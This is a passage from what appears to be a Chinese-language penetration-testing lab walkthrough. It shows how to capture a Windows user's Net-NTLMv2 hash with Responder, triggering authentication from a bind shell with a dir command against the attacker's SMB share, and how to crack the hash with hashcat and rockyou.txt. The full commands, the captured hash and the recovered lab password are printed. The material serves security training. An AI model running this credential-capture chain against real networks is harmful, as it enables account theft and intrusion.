

【聽】 Responder

現在讓我們進行這個過程。首先，我們需要運行 `ip a` 以檢索所有接口的列表。然後，我們將以 `sudo` 運行 Responder（在 Kali 上已經預安裝），以啟用處理各種協議的特權原始套接字操作所需的權限。我們將使用 `-i` 設置監聽接口，請注意您的接口名稱可能與此處顯示的不同。

```
kali@kali:~$ ip a
...
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 42:11:48:1b:55:18 brd ff:ff:ff:ff:ff:ff
    inet 192.168.119.2/24 scope global tap0
        valid_lft forever preferred_lft forever
    inet6 fe80::4011:48ff:fe1b:5518/64 scope link
        valid_lft forever preferred_lft forever

kali@kali:~$ sudo responder -I tap0
```

```

      _____
     .-..--..--..--..--..-. |.-..--..-.
    | _| _|| _|| _|| _|| _|| _|| _||
   |_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
           |_|_

NBT-NS, LLMNR & MDNS Responder 3.1.1.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

...
HTTP server          [ON]
HTTPS server         [ON]
WPAD proxy           [OFF]
Auth proxy           [OFF]
SMB server            [ON]

...
[+] Listening for events...
```

輸出顯示Responder現在正在聽取事件，並且SMB伺服器已啟用。

我們的下一步是使用paul的綁定外殼向我們的Responder SMB伺服器請求訪問一個不存在的SMB共享。我們將使用對\\192.168.119.2\\test執行簡單的dir列出命令，其中"test"是一個任意的目錄名稱。我們只關心身份驗證過程，而不是共享列表。

讓我們切換回包含我們的Netcat綁定外殼連接的終端選項卡，並輸入該命令。

```
C:\Windows\system32>dir \\192.168.119.2\test
dir \\192.168.119.2\test
Access is denied.
```

Responder標籤應該顯示如下內容：

```
...
[+] Listening for events...
[SMB] NTLMv2-SSP Client  : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash    : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000
000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E
002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480
055005800430034005400490043002E00360057004D0052002E004C004F00430041004C000300140036005700
4D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C00070008000
0B050CD1777D80106000400020000000800300030000000000000000000000000000000000000000000000000
0007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A00100000000000000000000000000000000000000
0240063006900660073002F003100390032002E003100360038002E003100310038002E00320000000000000000
0000
```

這表示Responder成功捕獲了paul的Net-NTLMv2雜湊。我們將其保存到paul.hash文件中，以便使用Hashcat進行破解。在我們開始破解之前，讓我們檢索正確的模式。

```
kali@kali:~$ cat paul.hash
paul::FILES01:1f9d4c51f6e74653:795f138ec69c274d0fd53bb32908a72b:010100000000000000B0
50CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00
340044004E00480055005800430034005400490043000400340057...

kali@kali:~$ hashcat --help | grep -i "ntlm"
 5500 | NetNTLMv1 / NetNTLMv1+ESS          | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)      | Network Protocol
 5600 | NetNTLMv2                            | Network Protocol
27100 | NetNTLMv2 (NT)                        | Network Protocol
 1000 | NTLM                                  | Operating System
```

這個文件包含了paul的捕獲的Net-NTLMv2雜湊（在此清單中被裁剪了），根據Hashcat的說法，它的模式是5600（"NetNTLMv2"）。

現在讓我們嘗試使用rockyou.txt單詞列表來破解這個雜湊。密碼為:123Password123

```
kali@kali:~$ hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.5) starting
...

PAUL::FILES01:1f9d4c51f6e74653:795f138ec69c274d0fd53bb32908a72b:010100000000000000
0b050cd1777d801b7585df5719acfba0000000002000800360057004d00520001001e00570049004e
002d00340044004e004800550058004300340054004900430004003400570049004e002d003400440
04e00480055005800430034005400490043002e00360057004d0052002e004c004f00430041004c00
03001400360057004d0052002e004c004f00430041004c0005001400360057004d0052002e004c004
f00430041004c000700080000b050cd1777d801060004000200000008003000300000000000000000
000000002000008ba7af42bfd51d70090007951b57cb2f5546f7b599bc577ccd13187cfc5ef4790a0
01000000000000000000000000000000000000000000900240063006900660073002f003100390032002e00
3100360038002e003100310038002e0032000000000000000000:123Password123
...
```